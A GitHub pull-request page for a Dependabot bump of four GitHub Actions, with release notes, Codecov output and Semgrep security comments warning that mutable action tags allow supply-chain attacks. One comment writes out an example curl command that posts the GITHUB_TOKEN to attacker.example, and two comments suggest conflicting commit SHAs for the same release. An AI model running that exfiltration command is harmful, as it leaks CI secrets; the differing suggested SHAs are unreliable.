Skip to content

Bump the actions group across 1 directory with 4 updates - #2969

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/actions-77c4255d97
Open

Bump the actions group across 1 directory with 4 updates#2969
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/actions-77c4255d97

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Jul 31, 2026

Copy link
Copy Markdown
Contributor

Bumps the actions group with 4 updates in the / directory: actions/setup-python, pypa/gh-action-pypi-publish, astral-sh/setup-uv and zizmorcore/zizmor-action.

Updates actions/setup-python from 6.3.0 to 7.0.0

Release notes

Sourced from actions/setup-python's releases.

v7.0.0

What's Changed

Enhancements

Bug Fix

Dependency Upgrade

New Contributors

Full Changelog: actions/setup-python@v6...v7.0.0

Commits

Updates pypa/gh-action-pypi-publish from 1.14.0 to 1.14.2

Release notes

Sourced from pypa/gh-action-pypi-publish's releases.

v1.14.2

🛠️ Urgh… Another release!? Again? Explain yourself!

Looking at the diff, you'll only witness updates across the dependency tree. That's it! It's not a security fix or anything like that even, no. But you'll want this update.

[!tip] So what most people will find useful is @​takluyver💰's update of Twine to v7 that we use internally (#416). This version will let them upload their sdists and wheels containing core packaging metadata v2.5 to (Test)PyPI.

🧐 Tell me why..

TL;DR non-pure-python projects with C-extensions tend to have dozens (sometimes hundreds) wheels to upload to PyPI per release. They are often quite big and take time to transfer over the network. People started noticing problems and coming up with DIY sharding workarounds like aio-libs/aiohttp#13226 around July 23. On this date, projects with a good amount of bytes to publish would start getting timeouts 5 minutes after the PyPI publishing job begun. The same job that worked just fine before.

I had to start pinging upstream library and ecosystem people, on GitHub and privately, to start making sense of what was happening. Eventually, we collectively concluded that GitHub must've shortened the lifetime of their OIDC identity — it seems to have used to be 10 minutes long (at some point in the past) and is now 5 minutes, apparently. It's not documented clearly, and we have not been able to get any clarity by attempting to contact GitHub through private channels, using personal connections.

Over the course of investigation, @​facutuesca💰 found and fixed a related underlying cache invalidation bug in sigstore/sigstore-python#1838, which he then coordinated propagation through the dependency chain updates in sigstore-python, pypi-attestations, gh-action-pypi-publish and gh-action-sigstore-python.

Mike's also discovered that Sigstore's Rekor slowdown seems to have become the main contributing cause of the last week's incident. He's collected some data to support this claim: https://publishing-five-minute-timeout.tiiny.site.

🫶 New Contributors

🪞 Full Diff: pypa/gh-action-pypi-publish@v1.14.1...v1.14.2

🧔‍♂️ Release Manager: @​webknjaz 🇺🇦

🙏 Special Thanks to @​davidbrochart💰 and @​Dreamsorcerer💰 for turning my attention (in #415 and in private) to the newly surfaced corner case in GitHub's behavior that only affected a narrow category of projects while many others remained blissfully unaware. @​bdraco💰 came up with a DIY sharding workaround for aiohttp that served as a demo for other projects. @​miketheman💰 confirmed the Warehouse-side details. Also, @​jku💰 and @​woodruffw💰 helped work through, review and release the Sigstore ecosystem upstream libs.

💬 Discuss on Bluesky 🦋, on Mastodon 🐘 and [on GitHub][release discussion].

[![GH Sponsors badge]][GH Sponsors URL]

... (truncated)

Commits
  • dc37677 Merge pull request #417 from trail-of-forks/ft/bump-deps
  • 8b2f234 Bump pypi-attestations and sigstore
  • 78b72db Merge pull request #416 from takluyver/twine-v7
  • 92f4d2a Update twine to v7
  • ba38be9 Merge pull request #408 from adisivaprasad/bump-setup-python-v6
  • a6c5088 Bump actions/setup-python from v5.6.0 to v6.2.0
  • See full diff in compare view

Updates astral-sh/setup-uv from 8.3.2 to 9.0.0

Release notes

Sourced from astral-sh/setup-uv's releases.

v9.0.0 🌈 Change prune-cache default to false

Changes

This release disables the default cache cache pruning to ease the load on the PyPi infrastructure. Since users might experience more GitHub Actions cache usage which might result in higher costs this is marked as a breaking change. To read more on why we did this (now) you can read the detailed analysis and reasoning in #967

Besides this big breaking change we also have a small bugfix while building caches for linux distributions that behave a big different than the "big ones" and a speed up in version resolution by only reading the version manifest until a matching version is found saving runtime and network bandwith.

🚨 Breaking changes

🐛 Bug fixes

  • fix: fall back to distribution ID when os-release has no version field @​cxzhong (#961)

🚀 Enhancements

🧰 Maintenance

📚 Documentation

⬆️ Dependency updates

Commits
  • c771a70 chore(deps): roll up Dependabot updates (#970)
  • 2f537ca chore: update known checksums for 0.11.30 (#968)
  • 2269552 Speed up version client by partial response reads (#807)
  • 47a7f4f Change prune-cache default to false (#967)
  • 71966ef chore(deps): roll up Dependabot updates (#962)
  • f12b1f0 fix: fall back to distribution ID when os-release has no version field (#961)
  • ecd24dd chore: update known checksums for 0.11.29 (#960)
  • 6a19136 docs: update version references to v8.3.2 (#949)
  • See full diff in compare view

Updates zizmorcore/zizmor-action from 0.6.0 to 0.6.1

Release notes

Sourced from zizmorcore/zizmor-action's releases.

v0.6.1

zizmor 1.28.0 is now the default version used by the action.

Commits

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code labels Jul 31, 2026
@dependabot
dependabot Bot requested a review from a team as a code owner July 31, 2026 08:53
@dependabot
dependabot Bot requested a review from NoahStapp July 31, 2026 08:53
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code labels Jul 31, 2026
ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0
Comment thread .github/workflows/release-python.yml Fixed
tar --strip-components=1 -zxf *.tar.gz -C ./test
ls test
- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 is a movable tag, so this CI job may run different action code later without any workflow change. If that tag is repointed, attacker-controlled code would execute in test_sdist before your install and test commands.

More details about this

actions/setup-python is referenced as actions/setup-python@v7.0.0 in this workflow step, so GitHub will fetch whatever commit the v7.0.0 tag points to at run time. If the owner of actions/setup-python or someone who compromises that repository silently repoints v7.0.0, this test_sdist job will run the attacker’s code before pip install -e ".[test]" and pytest -v -k client_context, with access to the job workspace and any secrets or tokens available to that job.

A plausible attack looks like this:

  1. An attacker gains control of the actions/setup-python repository or its release process.
  2. They move the v7.0.0 tag to a new malicious commit instead of the commit this workflow originally expected.
  3. When this job reaches - uses: actions/setup-python@v7.0.0, GitHub Actions downloads and executes that new commit automatically.
  4. The malicious action reads files from sdist/test, steals the default GITHUB_TOKEN or other environment data, and can tamper with the Python environment that later runs pip install -e ".[test]" and the test suite.
  5. Because the workflow still says @v7.0.0, the change is easy to miss in code review even though different code is now executing in CI.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable GitHub Action version reference with a full 40-character commit SHA in the uses: line.
    Change actions/setup-python@v7.0.0 to actions/setup-python@<full-commit-sha> and keep the version as a comment, for example uses: actions/setup-python@<full-commit-sha> # v7.0.0.

  2. Look up the commit SHA for the exact actions/setup-python release you want to keep and use that SHA instead of the tag.
    This prevents the action from changing underneath you if the tag is moved.

  3. Keep the existing with: settings unchanged after pinning, for example cache, cache-dependency-path, and python-version do not need to change.

Alternatively, if you need to stay on a newer upstream release, update to that release first and then pin that exact release to its full commit SHA instead of using a version tag.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
persist-credentials: false
- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 uses a movable tag, so a repointed release could run attacker-controlled code in make_sdist and tamper with the built sdist artifact.

More details about this

actions/setup-python@v7.0.0 is fetched by tag, not by an exact commit. If the v7.0.0 reference is ever moved, this make_sdist job will run whatever code that new action revision contains before Build SDist, with access to the job workspace and any data available to actions/setup-python.

A plausible attack looks like this:

  1. An attacker compromises the actions/setup-python release process or gains permission to repoint the v7.0.0 tag.
  2. They publish a malicious action revision and move v7.0.0 to that commit.
  3. When this workflow reaches - uses: actions/setup-python@v7.0.0, GitHub pulls the attacker's code instead of the original release.
  4. That action runs inside the make_sdist job before your pip install build and python -m build --sdist commands, so it can read repository files, modify the environment, or tamper with the produced dist/*.tar.gz artifact.
  5. The later actions/upload-artifact@v7 step can then upload a poisoned source distribution that downstream jobs such as test_sdist will consume.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: actions/setup-python@v7.0.0
- uses: actions/setup-python@42375524cb1205197d618862c747a2208ea4cb09 # v7.0.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the same uses: line.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<full-commit-sha> # v7.0.0.

  2. Keep the version comment after the SHA so it is still clear which release you intended to use, for example uses: actions/setup-python@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # v7.0.0.
    Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code later.

  3. Use the commit SHA from the official actions/setup-python release that corresponds to v7.0.0, instead of a branch name, tag, or shortened hash.

Alternatively, if you need to stay on the latest patch release automatically, use a dependency updater to manage action SHA updates, but keep the workflow pinned as uses: actions/setup-python@<full-commit-sha> # v7.0.0.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Set up Python
uses: actions/setup-python@v6.3.0
uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 is a movable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.

More details about this

Set up Python pulls actions/setup-python@v7.0.0, which is a tag-based reference, not a fixed commit. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0, this sbom job will run different code without any workflow change in your repo.

A plausible attack looks like this:

  1. An attacker gains the ability to publish or retag actions/setup-python and moves v7.0.0 to a malicious commit.
  2. Your workflow runs on push to main or workflow_dispatch, and the Set up Python step resolves that tag when GitHub executes uses: actions/setup-python@v7.0.0.
  3. The malicious action runs before Generate SBOM, so it can tamper with the runner environment, read repository contents checked out by actions/checkout, or alter python, pip, or PATH before your later run steps use them.
  4. Because this job has contents: write and pull-requests: write, the malicious action could use the workflow token to push changes or open/update PRs from the sbom job, making the compromise persistent or harder to spot.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<40-character-commit-sha> # v7.0.0.

  2. Pin the SHA to the exact commit for the actions/setup-python release you intend to use.
    Get the commit SHA from the action's GitHub release or tag page, and use the full hash, not a shortened one.

  3. Keep the version as an inline comment after the SHA, such as # v7.0.0, so future updates are easier to review.
    Pinning to a commit prevents the action owner from silently moving a tag to different code later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 points to a mutable tag, so this job may run different action code later without any repo change. A repointed tag could let attacker-controlled code tamper with the Python setup, build, or uploaded sdist artifact.

More details about this

actions/setup-python@v7.0.0 is a movable GitHub Action reference, not an immutable commit. If the owner of actions/setup-python or anyone who compromises that repository retags v7.0.0, this make_sdist job will run the attacker’s new code when it reaches this uses: step.

A plausible attack looks like this:

  1. An attacker gains control of the action repo or its release process and repoints the v7.0.0 tag to a malicious commit.
  2. Your workflow starts make_sdist and executes uses: actions/setup-python@v7.0.0, trusting whatever code that tag points to at that moment.
  3. The malicious action runs before Build SDist and Test SDist, so it can read the checked-out source from actions/checkout, inspect workflow-provided environment variables, or modify the Python toolchain that later runs python -m pip install -U pip build and python -m build --sdist ..
  4. It could then exfiltrate repository data over the network or tamper with the produced dist/*.tar.gz, so the uploaded sdist artifact contains attacker-controlled content.

Because the reference is @v7.0.0 instead of a full 40-character commit SHA, the exact code executed by this step can change without any workflow diff in your repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: actions/setup-python@v7.0.0
- uses: actions/setup-python@42375524a763eb8e61a4d9b65c4bc5f4f2e5d8d9 # v7.0.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the uses line.
    Change actions/setup-python@v7.0.0 to actions/setup-python@<full-commit-sha>, for example actions/setup-python@<40-hex-sha> # v7.0.0.

  2. Keep the version as a comment after the SHA so the pinned release is still easy to recognize.
    Use the format uses: actions/setup-python@<40-hex-sha> # v7.0.0.

  3. Get the SHA from the exact v7.0.0 release of actions/setup-python, and do not use a tag, branch, or shortened hash.
    Pinning to a commit SHA prevents the referenced action from changing unexpectedly if the tag is moved later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 uses a mutable tag, so repointing that tag would let attacker-controlled code run in the build_wheels job.

More details about this

actions/setup-python@v7.0.0 is referenced by a mutable tag instead of an immutable commit SHA. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0 to a different commit, this workflow will run the new code inside the build_wheels job on every ubuntu, windows, and macos runner in this matrix.

A plausible attack looks like this:

  1. An attacker gains control of the actions/setup-python repository or its release process.
  2. They move the v7.0.0 tag to a commit that adds malicious code to the action.
  3. When this workflow reaches - uses: actions/setup-python@v7.0.0, GitHub downloads and executes the attacker-controlled action code.
  4. That code can read this job's workspace after actions/checkout, inspect values passed to with:, and tamper with the Python environment before python -m pip install and python -m cibuildwheel --output-dir wheelhouse run.
  5. In practice, the malicious action could exfiltrate GITHUB_TOKEN or other available secrets with a command like curl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN", or modify the build so the produced wheels contain attacker code.

Because this job builds distributable wheel artifacts, a repointed action here could turn a GitHub Actions tag change into a supply-chain compromise of the packages produced by build_wheels.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<40-character-commit-sha> # v7.0.0.

  2. Keep the version as a comment after the SHA, such as # v7.0.0, so it stays clear which release the pinned commit corresponds to.

  3. Get the SHA from the upstream actions/setup-python release page or repository for the exact v7.0.0 revision, and use the full hash, not a shortened one.
    Pinning to a commit SHA prevents the action owner from silently changing what runs under the same tag.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

@codecov-commenter

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

Bumps the actions group with 4 updates in the / directory: [actions/setup-python](https://github.com/actions/setup-python), [pypa/gh-action-pypi-publish](https://github.com/pypa/gh-action-pypi-publish), [astral-sh/setup-uv](https://github.com/astral-sh/setup-uv) and [zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action).


Updates `actions/setup-python` from 6.3.0 to 7.0.0
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](actions/setup-python@v6.3.0...v7.0.0)

Updates `pypa/gh-action-pypi-publish` from 1.14.0 to 1.14.2
- [Release notes](https://github.com/pypa/gh-action-pypi-publish/releases)
- [Commits](pypa/gh-action-pypi-publish@cef2210...dc37677)

Updates `astral-sh/setup-uv` from 8.3.2 to 9.0.0
- [Release notes](https://github.com/astral-sh/setup-uv/releases)
- [Commits](astral-sh/setup-uv@11f9893...c771a70)

Updates `zizmorcore/zizmor-action` from 0.6.0 to 0.6.1
- [Release notes](https://github.com/zizmorcore/zizmor-action/releases)
- [Commits](zizmorcore/zizmor-action@6599ee8...6fc4b00)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: 7.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: actions
- dependency-name: astral-sh/setup-uv
  dependency-version: 9.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: actions
- dependency-name: pypa/gh-action-pypi-publish
  dependency-version: 1.14.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: actions
- dependency-name: zizmorcore/zizmor-action
  dependency-version: 0.6.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: actions
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot changed the title Bump the actions group with 4 updates Bump the actions group across 1 directory with 4 updates Aug 7, 2026
@dependabot
dependabot Bot force-pushed the dependabot/github_actions/actions-77c4255d97 branch from 9cb0521 to 37e1c67 Compare August 7, 2026 08:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants